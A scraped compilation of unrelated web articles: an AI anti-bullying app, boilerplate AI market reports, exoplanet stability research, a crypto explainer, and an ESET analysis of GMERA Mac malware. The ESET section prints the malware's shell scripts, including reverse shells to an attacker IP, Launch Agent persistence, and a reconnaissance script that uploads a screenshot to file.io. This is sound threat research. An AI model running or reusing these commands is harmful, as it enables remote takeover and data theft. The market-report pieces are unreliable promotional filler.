Artificial Intelligence-Based App ‘Bullstop’ Developed to Combat Social Media Bullying-Trolling – India.com

Computer scientists have launched an app, Bullstop that uses novel artificial intelligence (AI) algorithms to combat trolling and bullying online. Also Read - Salute! Mumbai Police Lauded For Busting International Racket of Fake Social Media Profiles, Arrest 1 Under IT Act

The downloadable app is the only anti-cyberbullying app that integrates directly to social media platforms to protect users from bullies and trolls messaging them directly, the scientists from Aston University in the UK, reported. Also Read - Sushant Singh Rajput Death Anniversary: Rumoured GF Rhea Chakraborty Shares Heartfelt Note, Says 'You Made Me Believe in Love'

Bullstop is available for free and can now be downloaded on GooglePlay. Also Read - Popular Egyptian Belly Dancer Sama el-Masry Jailed For 3 Years Over Sexually Suggestive Videos on TikTok

This application differs from other apps because the use of artificial intelligence to detect cyberbullying is unique in itself, said Semiu Salawu, who designed Bullstop.

Other anti-cyberbullying apps, in comparison, use keywords to detect instances of bullying, inappropriate or threatening language, Salawu added.

According to the developer, the detection AI has been trained on over 60,000 tweets to recognise not only abusive and offensive language, but also the use of subtle means such as sarcasm and exclusion to bully, which are otherwise difficult to detect using keywords.

It uses a distributed cloud-based architecture that makes it possible for classifiers to be swapped in and out. Therefore, as better artificial intelligence algorithms become available, they can be easily integrated to improve the app, Salawu explained.

The team revealed that Bullstop is unique in that it monitors a users social media profile and scans for offensive incoming messages, to ensure the user is not subject to incoming abuse, as well as offensive outgoing messages.

This works via an algorithm which is designed to understand written languages. It analyses messages and flags offensive content, such as instances of cyberbullying, abusive, insulting or threatening language, pornography and spam.

Offensive messages can be immediately deleted from the users inbox.

A copy of deleted messages are, however, retained should the user wish to review them. The app can also automatically block contacts who continuously send offensive messages.

Bullstop is highly configurable, allowing the user to determine how comprehensively the app removes inappropriate messages.

The app currently supports Twitter with support for text messages planned in the next stage of the rollout.

It is hoped that, with continued usage of the app and good results, other social media platforms such as Facebook and Instagram will come on board, allowing their users to benefit from the application.

The app is currently in the beta testing stage which means the researchers invite users of the app to provide them with feedback to allow them to make improvements.

It has already been tested by a number of young people and professionals, including teachers, police officers and psychologists, the authors wrote.

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Artificial Intelligence-Based App 'Bullstop' Developed to Combat Social Media Bullying-Trolling - India.com

Artificial Intelligence in Security Market 2020 Break Down by Top Companies, Applications, Challenges, Opportunities and Forecast 2024 – Jewish Life…

Latest added Global Artificial Intelligence in Security Market research study by AMA Research offers detailed outlook and elaborates market review till 2024. The market Study is segmented by key regions that are accelerating the marketization. At present, the market players are strategizing and overcoming challenges of current scenario; some of the key players in the study are Acalvio (United States), Amazon (United States), Cylance (United States), NVIDIA (United States), Intel (United States), IBM (United States), Micron (United States), SparkCognition (United States), Securonix (United States) and ThreatMetrix (United States) etc. The study explored is a perfect mix of qualitative and quantitative Market data collected and validated majorly through primary data and secondary sources.

Free Sample Report + All Related Graphs & Charts @: https://www.advancemarketanalytics.com/sample-report/16844-global-artificial-intelligence-in-security-market-1

The latest edition of this report you will be entitled to receive additional chapter / commentary on latest scenario, economic slowdown and COVID-19 impact on overall industry. Further it will also provide qualitative information about when industry could come back on track and what possible measures industry players are taking to deal with current situation. Each of the segment analysis table for forecast period also high % impact on growth.

Artificial Intelligence in the security market is expected to grow significantly owing to the increasing number of connected devices and the rising number of mobile malware attacks. High Usage of Internet and requirement to work online are contributing to rising in incidents of cyber-attacks as more than the number of computing devices and are being connected to the Internet of Things. Shortage of cybersecurity professionals is one of the major factor driving the demand for AI-based security solutions. Using AI-based solutions for cybersecurity covers much of the need for cybersecurity professionals. Growing adoption of the cloud-based application has given an opportunity to AI in the security market to rise in the forecasted period.

This research is categorized differently considering the various aspects of this market. It also evaluates the upcoming situation by considering project pipelines of company, long term agreements to derive growth estimates. The forecast is analyzed based on the volume and revenue of this market. The tools used for analyzing the Global Artificial Intelligence in Security Market research report include SWOT analysis.

The Global Artificial Intelligence in Security segments and Market Data Break Down are illuminated below:Study by Security Type (Network Security, Endpoint Security, Application Security, Cloud Security), Security Solution (Identity and Access Management (IAM), Risk and Compliance Management, Encryption, Data Loss Prevention (DLP), Unified Threat Management (UTM), Antivirus/Antimalware, Intrusion Detection/Prevention System (IDS/IPS), Others (Firewall, Security and Vulnerability Management, Disaster Recovery, DDOS Mitigation, Web Filtering, Application Whitelisting, and Patch Management)), Technology (Machine Learning, Context Awareness Computing, Natural Language Processing), End users (Government & Defense, BFSI, Enterprise, Infrastructure, Automotive & Transportation, Healthcare, Retail, Manufacturing, Others (Oil & Gas, Education, Energy)), Development (Cloud Deployment, On-Premise Deployment), Offering (Hardware, Software, Services)

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Market Drivers

Market Trend

Restraints

Opportunities

The regional analysis of Global Artificial Intelligence in Security Market is considered for the key regions such as Asia Pacific, North America, Europe, Latin America and Rest of the World. North America is the leading region across the world. Whereas, owing to rising no. of research activities in countries such as China, India, and Japan, Asia Pacific region is also expected to exhibit higher growth rate the forecast period 2020-2024.

Limited scope research document specific to Country or Region meeting your business objective.GET FULL COPY OF Latest Edition of United States Artificial Intelligence in Security market study with COVID-19 Impact Analysis @ USD 2000

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Strategic Points Covered in Table of Content of Global Artificial Intelligence in Security Market:

Chapter 1: Introduction, market driving force product Objective of Study and Research Scope the Artificial Intelligence in Security market

Chapter 2: Exclusive Summary the basic information of the Artificial Intelligence in Security Market.

Chapter 3: Displaying the Market Dynamics- Drivers, Trends and Challenges of the Artificial Intelligence in Security

Chapter 4: Presenting the Artificial Intelligence in Security Market Factor Analysis Porters Five Forces, Supply/Value Chain, PESTEL analysis, Market Entropy, Patent/Trademark Analysis.

Chapter 5: Displaying the by Type, End User and Region 2014-2019

Chapter 6: Evaluating the leading manufacturers of the Artificial Intelligence in Security market which consists of its Competitive Landscape, Peer Group Analysis, BCG Matrix & Company Profile

Chapter 7: To evaluate the market by segments, by countries and by manufacturers with revenue share and sales by key countries in these various regions.

Chapter 8 & 9: Displaying the Appendix, Methodology and Data Source

finally, Artificial Intelligence in Security Market is a valuable source of guidance for individuals and companies.

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Artificial Intelligence in Security Market 2020 Break Down by Top Companies, Applications, Challenges, Opportunities and Forecast 2024 - Jewish Life...

Artificial Intelligence Robots Market with Report In Depth Industry Analysis on Trends, Growth, Opportunities and Forecast – Cole of Duty

Data Bridge Market Research report titledGlobal Artificial Intelligence Robots Marketprovides detailed information and overview about the key influential factors required to make well informed business decision. This is a latest report, covering the current COVID-19 impact on the market. The pandemic of Coronavirus (COVID-19) has affected every aspect of life globally. This has brought along several changes in market conditions. The rapidly changing market scenario and initial and future assessment of the impact is covered in the report. Our data has been culled out by our team of experts who have curated the report, considering market-relevant information. This report provides latest insights about the markets drivers, restraints, opportunities, and trends. It also discusses the growth and trends of various segments and the market in various regions.

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Our analysts monitoring the situation around the Globe explain that after COVID-19 crisis the market will generate remunerative prospects for producers. The goal of the report is to provide a further illustration of the current scenario, economic slowdown and effect of COVID-19 on the industry as a whole. This is the latest report, covering the current COVID-19 impact on the market. The pandemic of Coronavirus (COVID-19) has affected every aspect of life globally. This has brought along several changes in market conditions. The rapidly changing market scenario and initial and future assessment of the impact are covered in the report.

Important Features of the Global Artificial Intelligence Robots Market Report:

1) What all companies are currently profiled in the report?

2) What all regional segmentation covered? Can specific country of interest be added?

Currently, research report gives special attention and focus on following regions:

North America, Europe, Asia-Pacific etc.

** One country of specific interest can be included at no added cost. For inclusion of more regional segment quote may vary.

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** Depending upon the requirement the deliverable time and quote will vary.

Our analysts drafted the report by gathering information through primary (through surveys and interviews) and secondary (included industry body databases, reputable paid sources, and trade journals) methods of data collection. The report encompasses an exhaustive qualitative and quantitative evaluation.

The study includes growth trends, micro- and macro-economic indicators, and regulations and governmental policies.

Some of the Major Highlights of TOC covers:

Chapter 1: Methodology & Scope

Chapter 2: Executive Summary

Chapter 3: Artificial Intelligence Robots Market Industry Insights

Chapter 4: Artificial Intelligence Robots Market, By Region

Chapter 5: Company Profile

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Region wise analysis of the top producers and consumers, focus on product capacity, production, value, consumption, market share and growth opportunity in below mentioned key regions:

North America U.S., Canada, Mexico

Europe: U.K, France, Italy, Germany, Russia, Spain, etc.

Asia-Pacific China, Japan, India, Southeast Asia etc.

South America Brazil, Argentina, etc.

Middle East & Africa Saudi Arabia, African countries etc.

The subject matter experts analysed various companies to understand the products and/services relevant to the market. The report includes information such as gross revenue, production and consumption, average product price, and market shares of key players. Other factors such as competitive analysis and trends, mergers & acquisitions, and expansion strategies have been included in the report. This will enable the existing competitors and new entrants understand the competitive scenario to plan future strategies.

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In This Study, The Years Considered to Estimate the Market Size of the Artificial Intelligence Robots Market Are as Follows:

**Moreover, it will also include the opportunities available in micro markets for stakeholders to invest, detailed analysis of competitive landscape and product services of key players.

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Artificial Intelligence Robots Market with Report In Depth Industry Analysis on Trends, Growth, Opportunities and Forecast - Cole of Duty

Artificial intelligence predicts which planetary systems will survive – Princeton University

Why dont planets collide more often? How do planetary systems like our solar system or multi-planet systems around other stars organize themselves? Of all of the possible ways planets could orbit, how many configurations will remain stable over the billions of years of a stars life cycle?

Rejecting the large range of unstable possibilities all the configurations that would lead to collisions would leave behind a sharper view of planetary systems around other stars, but its not as easy as it sounds.

Separating the stable from the unstable configurations turns out to be a fascinating and brutally hard problem, said Daniel Tamayo, a NASA Hubble Fellowship Program Sagan Fellowin astrophysical sciences at Princeton. To make sure a planetary system is stable, astronomers need to calculate the motions of multiple interacting planets over billions of years and check each possible configuration for stability a computationally prohibitive undertaking.

Astronomers since Isaac Newton have wrestled with the problem of orbital stability, but while the struggle contributed to many mathematical revolutions, including calculus and chaos theory, no one has found a way to predict stable configurations theoretically. Modern astronomers still have to brute-force the calculations, albeit with supercomputers instead of abaci or slide rules.

Tamayo realized that he could accelerate the process by combining simplified models of planets' dynamical interactions with machine learning methods. This allows the elimination of huge swaths of unstable orbital configurations quickly calculations that would have taken tens of thousands of hours can now be done in minutes. He is the lead author on a paper detailing the approach in the Proceedings of the National Academy of Sciences. Co-authors include graduate student Miles Cranmer and David Spergel, Princetons Charles A. Young Professor of Astronomy on the Class of 1897 Foundation, Emeritus.

For most multi-planet systems, there are many orbital configurations that are possible given current observational data, of which not all will be stable. Many configurations that are theoretically possible would "quickly" that is, in not too many millions of years destabilize into a tangle of crossing orbits. The goal was to rule out those so-called fast instabilities.

We can't categorically say This system will be OK, but that one will blow up soon, Tamayo said. The goal instead is, for a given system, to rule out all the unstable possibilities that would have already collided and couldn't exist at the present day.

Instead of simulating a given configuration for a billion orbits the traditional brute-force approach, which would take about 10 hours Tamayos model instead simulates for 10,000 orbits, which only takes a fraction of a second. From this short snippet, they calculate 10 summary metrics that capture the system's resonant dynamics. Finally, they train a machine learning algorithm to predict from these 10 features whether the configuration would remain stable if they let it keep going out to one billion orbits.

We called the model SPOCK Stability of Planetary Orbital Configurations Klassifier partly because the model determines whether systems will live long and prosper, Tamayo said.

SPOCK determines the long-term stability of planetary configurations about 100,000 times faster than the previous approach, breaking the computational bottleneck. Tamayo cautioned that while he and his colleagues havent solved the general problem of planetary stability, SPOCK does reliably identify fast instabilities in compact systems, which they argue are the most important in trying to do stability constrained characterization.

This new method will provide a clearer window into the orbital architectures of planetary systems beyond our own, Tamayo said.

In the past 25 years, astronomers have found more than 4,000 planets orbiting other stars, of which almost half are in multi-planet systems. But since small exoplanets are extremely challenging to detect, we still have an incomplete picture of their orbital configurations.

"More than 700 stars are now known to have two or more planets orbiting around them, said Professor Michael Strauss, chair of Princetons Department of Astrophysical Sciences. Dan and his colleagues have found a fundamentally new way to explore the dynamics of these multi-planet systems, speeding up the computer time needed to make models by factors of 100,000. With this, we can hope to understand in detail the full range of solar system architectures that nature allows.

SPOCK is especially helpful for making sense of some of the faint, far-distant planetary systems recently spotted by the Kepler telescope, said Jessie Christiansen, an astrophysicist with the NASA Exoplanet Archive who was not involved in this research. Its hard to constrain their properties with our current instruments, she said. Are they rocky planets, ice giants, or gas giants? Or something new? This new tool will allow us to rule out potential planet compositions and configurations that would be dynamically unstable and it lets us do it more precisely and on a substantially larger scale than was previously available.

Predicting the long-term stability of compact multi-planet systems by Daniel Tamayo, Miles Cranmer, Samuel Hadden, Hanno Rein, Peter Battaglia, Alysa Obertas, Philip J. Armitage, Shirley Ho, David Spergel, Christian Gilbertson, Naireen Hussain, Ari Silburt, Daniel Jontof-Hutter and Kristen Menou, appears in the current issue of the Proceedings of the National Academy of Sciences (DOI: 10.1073/pnas.2001258117).Tamayos research was supported by the NASA Hubble Fellowship (grant HST-HF2-51423.001-A) awarded by the Space Telescope Science Institute.

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Artificial intelligence predicts which planetary systems will survive - Princeton University

Artificial Intelligence in Marketing Market 2020: Key Players With Product Particulars, Applications, Market Size & Forecast Till 2026 – Jewish…

The recent research report titled Global Artificial Intelligence in Marketing Market Report 2020 by Key Players, Types, Applications, Countries, Market Size, Forecast to 2026 (Based on 2020 COVID-19 Worldwide Spread) has been added in the kandjmarketresearch.com database. The Global Artificial Intelligence in Marketing Market Perspective, Comprehensive Analysis along with Major Segments and Forecast, 2020-2026.

Artificial Intelligence in Marketing Market Overview

The global Artificial Intelligence in Marketing market has been studied by a set of researchers for a defined forecast period of 2020 to 2026. This study has provided insights to the stakeholders in the market landscape. It includes an in-depth analysis of various aspects of the market. These aspects include an overview section, with market segmentation, regional analysis, and competitive outlook of the global Artificial Intelligence in Marketing industry for the forecast period. All these sections of the report have been analyzed in detail to arrive at accurate and credible conclusion of the future trajectory. This also includes an overview section that mentions the definition, classification, and primary applications of the product/service to provide larger context to the audience to this report.

Artificial Intelligence in Marketing Market Dynamics

The report on the global Artificial Intelligence in Marketing market includes a section that discusses various market dynamics that provide higher insight in the relationship and the impact of change these dynamics hold on the market functioning. These dynamics include the factors that are providing impetus to the market over the forthcoming years for growth and expansion. Alternatively, it also includes factors that are poised to challenge the market growth over the forecast period. These factors are expected to reveal certain hidden trends that aid in the better understanding of the market over the forecast period. continue reading this report.

The Final Report Will Include the Impact of COVID -19 Analysis about the Artificial Intelligence in Marketing Industry.

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COVID-19 can affect the global market in 3 ways: by directly affecting the production and demand, by creating supply chain and market disturbance, and by its financial impact on enterprises and financial markets.

Key Players

The global Artificial Intelligence in Marketing market report has provided a profiling of significant players that are impacting the trajectory of the market with their strategies for expansion and retaining of market share.

Key Segments Studied in the Global Artificial Intelligence in Marketing Market:

Key Players in the Global Artificial Intelligence in Marketing Market Covered In Chapter 4:

In Chapter 11 and 13.3, On The Basis Of Types, The Artificial Intelligence in Marketing Market From 2015 To 2026 Is primarily split into:-

In Chapter 12 and 13.4, On The Basis Of Applications, the Artificial Intelligence in Marketing Market From 2015 to 2026 covers:-

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Geographically, the detailed analysis of consumption, revenue, market share and growth rate, historic and forecast (2015-2026) of the following regions are covered in Chapter 5, 6, 7, 8, 9, 10, 13:-

Market Segmentation

The global Artificial Intelligence in Marketing market has been studied for a detailed segmentation that is based on different aspects to provide insight into the functioning of the segmental market. This segmentation has enabled the researchers to study the relationship and impact of the growth chart witnessed by these singular segments on the comprehensive market growth rate. It has also enabled various stakeholders in the global Artificial Intelligence in Marketing market to gain insights and make accurate relevant decisions. A regional analysis of the market has been conducted that is studied for the segments of North America, Asia Pacific, Europe, Latin America, and the Middle East & Africa.

Research Methodology

The global Artificial Intelligence in Marketing market has been analyzed using Porters Five Force Model to gain precise insight in the true potential of the market growth. Further, a SWOT analysis of the market has aided in the revealing of different opportunities for expansion that are inculcated in the market environment.

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Artificial Intelligence in Marketing Market 2020: Key Players With Product Particulars, Applications, Market Size & Forecast Till 2026 - Jewish...

Infographic: Artificial Intelligence From World Domination To Inclusive Education – Feminism in India

3 mins read

Technology, in a short time, has transformed the relationship between human and their environment, with each other, and the society at large. Artificial Intelligence (hereby referred to as AI)has found its way in many spheres of our lives. AI finds itself in smartphones, entertainment platforms, hospitals, transportation and outer space, among a plethora of other spaces.

While fears of technology replacing human beings in various roles and occupations loom large, AI provides considerable scope for various domains.

Artificial intelligence isthe ability of computer systems of simulating human intelligence processes and do complex self-corrective tasks.The goal is to create machines and systems which when interacting with the given environment, act accordingly upon the received data in a way that can be considered intelligent.

AI is slowly finding its way everywhere in our lives such as personal assistants like Alexa, face ids, personalised social media feeds and ads, banking, and even Google Maps. AI plays a part in various things says Kshitij from Pixxel, like agriculture, space, everyday things like automatically adjusting your screen brightness, customising ads on Instagram and more.

It is often claimed that AI is still in its primary stage. On the other hand, many would state thatAI would in the near future, gain complete control over humanity. According to the variousprophecies and forecasts, Artificial Intelligence would control the reigns of intelligence, andoutsmart and outperform humans beings at most things considered important yet relativelysimpler tasks, like driving or generating sentences, and so forth.

However, human involvement would remain key in all tasks performed by the AI. The degree of human involvement is that of contestation, as to what tasks and duties are considered important or not important enough to be transferred to Artificial Intelligence.

It is important to see here that AI is performing primarily assistive functions to human beings in a variety of ways. At the same time, humans are always required and involved in creating such systems and ensuring their smooth functioning, so rising up against humanity wont happen in the near future!

AI can work remotely, anonymously and in a personalised fashion. The coronavirus pandemic has proven that working remotely is a possible reality, AI can aid these processes as people do not need to be physically present and can be reached out to even in areas which seem inaccessible. AI can protect the identities of individuals and does not hold the same prejudices that humans do to discriminate against them at the various process. Apps powered by AI have provided aid with mental health, help in translation, and aid accessibility for people with disabilities.

The personalised way in which AI can operate can help teachers track the individual progress of students. This can be done anonymously to avoid the possibility of biases. AI can create individualised ways according to personalised needs of the students. This would not only help the student with individual attention but also assist the teachers with their work. AI can also help with captioning, image description, and language comprehension according to the needs of the students. Since AI can work remotely, it can reach areas considered inaccessible or even those with conflict.

Also read: How Unbiased Is Artificial Intelligence?

Featured Image Source: Atlassian

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Infographic: Artificial Intelligence From World Domination To Inclusive Education - Feminism in India

Mac cryptocurrency trading application rebranded, bundled with malware – We Live Security

ESET researchers lure GMERA malware operators to remotely control their Mac honeypots

Weve recently discovered websites distributing malicious cryptocurrency trading applications for Mac. This malware is used to steal information such as browser cookies, cryptocurrency wallets and screen captures. Analyzing the malware samples, we quickly found that this was a new campaign of what Trend Micro researchers called GMERA, in an analysis they published in September 2019. As in the previous campaigns, the malware reports to a C&C server over HTTP and connects remote terminal sessions to another C&C server using a hardcoded IP address. This time, however, not only did the malware authors wrap the original, legitimate application to include malware; they also rebranded the Kattana trading application with new names and copied its original website. We have seen the following fictitious brandings used in different campaigns: Cointrazer, Cupatrade, Licatrade and Trezarus. In addition to the analysis of the malware code, ESET researchers have also set up honeypots to try to reveal the motivations behind this group of criminals.

We have not yet been able to find exactly where these trojanized applications are promoted. However, in March 2020, Kattana posted a warning suggesting that victims were approached individually to lure them into downloading a trojanized app. We couldnt confirm that it was linked to this particular campaign, but it could very well be the case.

Figure 1. Kattana warns about trojanized copies of their software on Twitter

Copycat websites are set up to make the bogus application download look legitimate. For a person who doesnt know Kattana, the websites do look legitimate.

Malware analysis in this case is pretty straightforward. We will take the Licatrade sample as the example here. Other samples have minor differences, but the ideas and functionalities are essentially the same. Similar analyses of earlier GMERA campaigns are provided in Trend Micros blogpost and in Objective-Sees Mac malware of 2019 report.

Figure 4. Content of the Licatrade application bundle

Modification timestamps of the files in the ZIP archive, the date the application was signed, and the LastModified HTTP header when we downloaded the archive all show April 15th, 2020. This is highly suggestive that this campaign started on that date.

A shell script (run.sh) is included in the resources of the application bundle. This main executable, written in Swift, launches run.sh. For some reason, the malware author has duplicated functionality to send a simple report to a C&C server over HTTP, and to connect to a remote host via TCP providing a remote shell to the attackers, in both the main executable and the shell script. An additional functionality, in the shell script only, is to set up persistence by installing a Launch Agent.

Here is the full shell script source (ellipsis in long string and defanged):

#! /bin/bashfunction remove_spec_char(){echo "$1" | tr -dc '[:alnum:].r' | tr '[:upper:]' '[:lower:]'}whoami="$(remove_spec_char `whoami`)"ip="$(remove_spec_char `curl -s ipecho.net/plain`)"req=`curl -ks "http://stepbystepby[.]com/link.php?${whoami}&${ip}"`plist_text="ZWNobyAnc2R2a21d2Vpdm5laXZuZSc="echo "$plist_text" | base64 --decode > "/tmp/.com.apple.system.plist"cp "/tmp/.com.apple.system.plist" "$HOME/Library/LaunchAgents/.com.apple.system.plist"launchctl load "/tmp/.com.apple.system.plist"scre=`screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'`

#! /bin/bash

function remove_spec_char(){

echo "$1" | tr -dc '[:alnum:].r' | tr '[:upper:]' '[:lower:]'

}

whoami="$(remove_spec_char `whoami`)"

ip="$(remove_spec_char `curl -s ipecho.net/plain`)"

req=`curl -ks "http://stepbystepby[.]com/link.php?${whoami}&${ip}"`

plist_text="ZWNobyAnc2R2a21d2Vpdm5laXZuZSc="

echo "$plist_text" | base64 --decode > "/tmp/.com.apple.system.plist"

cp "/tmp/.com.apple.system.plist" "$HOME/Library/LaunchAgents/.com.apple.system.plist"

launchctl load "/tmp/.com.apple.system.plist"

scre=`screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'`

Its interesting to note that persistence is broken in the Licatrade sample: the content of the resulting Launch Agent file (.com.apple.system.plist) isnt in Property List format as launchd expects, but instead is the command line to be executed.

The decoded content (ellipses in long strings) of the $plist_text variable is:

echo 'sdvkmsdfmsdkxweivneivne'; while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'; done; echo 'sdvkmsdfmsdfmsnicvmdskxweivneivne'

echo 'sdvkmsdfmsdkxweivneivne'; while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'; done; echo 'sdvkmsdfmsdfmsnicvmdskxweivneivne'

If run directly, this code would open a reverse shell from the victim machine to an attacker-controlled server, but that fails here. Fortunately for the attackers, the last line of the shell script also starts a reverse shell to their server.

The Cointrazer sample, used in campaigns prior to Licatrade, does not suffer from this issue: the Launch Agent is installed and successfully starts when the user logs in.

The various reverse shells used by these malware operators connect to different remote ports depending on how they were started. All connections are unencrypted. Here is a list of ports, based on the Licatrade sample.

Here are some example command lines used:

screen -d -m bash -c bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1

zsh -c zmodload zsh/net/tcp && ztcp 193.37.212[.]97 25734 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY

The rebranded Kattana application is also in the resources of the application bundle. We wanted to see if, besides the change in name and icon in the application, some other code was changed. Since Kattana asks for credentials for trading platforms to perform trading, we verified if the input fields of these were tampered with and if credentials were exfiltrated in some way. Kattana is built with Electron, and Electron apps have an app.asar file, which is an archive containing the JavaScript code of the application. We have checked all changes between the original Kattana application and the malicious Licatrade copycat and found that only strings and images were changed.

Figure 5. Partial difference between Kattana and Licatrade

Licatrade and its resources were all signed using the same certificate, having the common name field set to Andrey Novoselov and using developer ID M8WVDT659T. The certificate was issued by Apple on April 6th, 2020. It was revoked the same day we notified Apple about this malicious application.

Figure 6. Certificate used to sign Licatrade

Figure 7. Licatrade certificate was revoked May 28th, 2020

For each of the other campaigns we analyzed, a different certificate was used. Both were already revoked by Apple when we started our analyses. See the IoCs section for details about these. Its interesting to note that in the case of Cointrazer, there were only 15 minutes between the moment the certificate was issued by Apple and the malefactors signing their trojanized application. This, and the fact that we didnt find anything else signed with the same key, suggests they got the certificate explicitly for that purpose.

The malicious Licatrade application was available on the licatrade.com website and its C&C HTTP report server domain is stepbystepby.com. Both domains were registered using the levistor777@gmail.com email address. Searching for other domains registered with that email address reveals what looks like several previous campaigns. Here is a list of domains we found in samples or registered with that email address.

Both the websites and HTTP C&C servers receiving the malwares first report are hosted behind Cloudflare.

To learn more about the intentions of this group, we set up honeypots where we monitored all interactions between the GMERA reverse shell backdoors and the operators of this malware.

We saw no C&C commands issued via the HTTP C&C server channel; everything happened through the reverse shells. When it first connected, the C&C server sent a small script to gather the username, the macOS version and location (based on external IP address) of the compromised device.

#! /bin/bashfunction check() { if [ ! -f /private/var/tmp/.i ]; then write else if [ "$(( $(date +"%s") - $(stat -f "%m" /private/var/tmp/.i) ))" -gt "21600" ]; then write fi fi}function write() { getit=`curl -s ipinfo.io | grep -e country -e city | sed 's/[^a-zA-Z0-9]//g' | sed -e "s/city//g;s/country//g"` echo `whoami` > /private/var/tmp/.i echo `sw_vers -productVersion` >> /private/var/tmp/.i echo "$getit" >> /private/var/tmp/.i}checkcat /private/var/tmp/.i

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#! /bin/bash

function check() {

if [ ! -f /private/var/tmp/.i ]; then

write

else

if [ "$(( $(date +"%s") - $(stat -f "%m" /private/var/tmp/.i) ))" -gt "21600" ]; then

write

fi

fi

}

function write() {

getit=`curl -s ipinfo.io | grep -e country -e city | sed 's/[^a-zA-Z0-9]//g' | sed -e "s/city//g;s/country//g"`

echo `whoami` > /private/var/tmp/.i

echo `sw_vers -productVersion` >> /private/var/tmp/.i

echo "$getit" >> /private/var/tmp/.i

}

check

cat /private/var/tmp/.i

which sent something like this to the operators:

jeremy10.13.4BratislavaSK

jeremy

10.13.4

Bratislava

SK

The TCP connection stays open and waits for further commands. In our case, after a while, the operators manually inspected the machine. Across several of our honeypots, the commands used to perform that inspection varied. Part of it was just listing files across the file system. Sometimes, they would copy-and-paste a base64-encoded script designed to list information to reveal whether the system is a honeypot or actually interesting. The script is decoded, then piped to bash.

Figure 8. Packet capture of the operator sending the base64-encoded secondary reconnaissance script

Here is the decoded script:

echo ""echo "------ Whoami ------"whoamiecho "------ IP info ------"curl -s ipinfo.ioecho "------ Mac Model ------"curl -s https://support-sp.apple.com/sp/product?cc=$(system_profiler SPHardwareDataType | awk '/Serial/ {print $4}' | cut -c 9-) | sed 's|.*(.*).*|1|'echo "------ MacOS Version ------"sw_vers -productVersionsw_vers -productVersion | grep -E "10.15.*" && echo -e "33[1;31m CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA 33[0m"sleep 1echo "------ MacOS Installed ------"date -r /var/db/.AppleSetupDoneecho "------ Disks ------"df -mecho "------ Video Output ------"system_profiler SPDisplaysDataTypeecho "------ Wifi Around ------"/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -secho "------ Virtual Mashine Detector ------"ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -E "irtual|racle|ware|arallels" || echo "Probably not a Virtual Mashine..."echo "--------------------------------"echo "------ Developer Detector ------"echo "--------------------------------"echo "||| Applications |||"ls -laht /Applications | grep -E "Xcode|ublime|ourceTree|Atom|MAMP|TextWrangler|Code|ashcode" && echo "-|Be Carefull|-"echo "||| Short Bash History |||"cat ~/.bash_history | head -n 20echo "------ Desktop Screen ------"echo "create screenshot..."sw_vers -productVersion | grep -E "10.15.*" & screencapture -t jpg -x /tmp/screen.jpg &> /dev/nullsips -z 500 800 /tmp/screen.jpg &> /dev/nullsips -s formatOptions 50 /tmp/screen.jpg &> /dev/nullecho "uploading..."curl -s -F "file=@/tmp/screen.jpg" https://file.io

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Mac cryptocurrency trading application rebranded, bundled with malware - We Live Security

Is investment in cryptocurrency worthwhile in 2020? – CapeTown ETC

The global pandemic has impacted peoples financial situation significantly. If youve been searching online for investment options to grow your money for future financial stability, youve likely come across cryptocurrencies such as Bitcoin and Ethereum. Its garnered much attention over the last decade, Facebook even launched a cryptocurrency called Libra. However, as with all types of investments, dont invest impulsively.

What is cryptocurrency?

A cryptocurrency is a virtual (or digital) asset created to work as a medium of exchange. It is based on a network that is distributed across an enormous number of computers. The appeal of investing in cryptocurrencies is due to its use of blockchain technology.

What is blockchain?

At its most fundamental level, blockchain is exactly as it sounds: a chain of blocks. However, in this context, block refers to digital information stored on a database (chain) that is managed by a network. By design, blockchain makes reproducibility of the digital asset almost impossible. This factor makes it a very tempting investment.

Pros and cons of investing in cryptocurrency

Pros

Its a high risk, high reward approach. The value goes through extreme ups and downs, but at the time of writing this article, Coinbase showed that one Bitcoin was worth R156 682.

A lot of mutual funds require a long-term time horizon for the investment to real returns (e.g. the suggested time horizon in an equity fund is five years). The value of cryptocurrency can change almost instantly, and massive returns can be made over a short timeframe.

Cons

Investing in cryptocurrency is a massive risk. Due to the nature of blockchain, transactions are nearly untraceable which leaves the door open for fraudulent activity and increased potential for hacking incidents which can cause investors to lose money very quickly.

The rates of return arent proven because they have no connection to regulatory standards. Therefore, theres no logical reasoning behind the upturn and downturn in value. At this moment in time, there is simply not enough data available to calculate returns accurately.

According to serial entrepreneur, Deep Patel, Cryptocurrency initial coin offerings (ICOs) are gambles. They have the potential to create huge returns on your investment, but also come with great volatility and risk.

At fio.life, our experienced team of independent financial advisers will provide you with the guidance and education required to fully understand the implications of impulsive investing.

Link:
Is investment in cryptocurrency worthwhile in 2020? - CapeTown ETC

News.Bitcoin.com Lead Writer Jamie Redman Named One of the Best Crypto Bloggers | Featured – Bitcoin News

Lead Writer at News.Bitcoin.com, Jamie Redman has made Redeeem.coms list of twelve influential go-to crypto bloggers. Redeeem says the list comprises names behind some of the most informative crypto news articles.

In its citation, Redeeem says Jamie Redman, who is also a crypto meme designer, is one to follow for crypto enthusiasts. Redeeem also lists some of Redmans best works to date.

A decentralized crypto fan, Redman has been in the crypto space since 2011 and has written over 3,300 articles since 2015 with just News.Bitcoin.com alone.

Redman believes the community should be focused on moving forward instead of squabbling endlessly.

Commenting on this recognition, Redman said:

Its an honor to be named by Redeem.com as one of the top twelve crypto bloggers among some of the writers I respect and read regularly. Blockchain and cryptocurrency solutions are hard to understand and its up to writers to break it down for people and make comprehension easier.

Redman adds that crypto writers have played an extremely important role when it comes to the adoption of crypto assets, as our words describe the myriad of benefits this technology has to offer.

